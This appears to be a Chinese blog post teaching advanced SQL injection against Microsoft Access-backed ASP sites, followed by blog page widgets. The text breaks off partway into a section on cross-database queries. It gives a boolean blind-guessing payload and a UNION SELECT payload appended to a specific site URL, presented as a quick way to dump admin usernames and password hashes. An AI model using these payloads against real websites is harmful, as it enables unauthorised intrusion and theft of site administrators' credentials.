access进阶注入语句

union查询法
首先要说的就是查询办法,一般的查询办法就是

程序代码
and 1=(select count(*) from admin where left(id,1)=‘1’)

这样开始判断了…就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候…基本上你可以去泡壶茶再喝一杯.
所以这个时候,union select横空出现.别以为只能在PHP里用哦…
譬如你有一个ACCESS点:
程序代码
http://bbs.tian6.com/xiaoyang.asp?coder=1

知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
然后我们直接来:
程序代码
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6… from admin [where coderx=1(如果有限制查询条件)]

这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.


Access跨库查询
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
跨库的查询语句:
子查询:
程序代码
and (Select

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值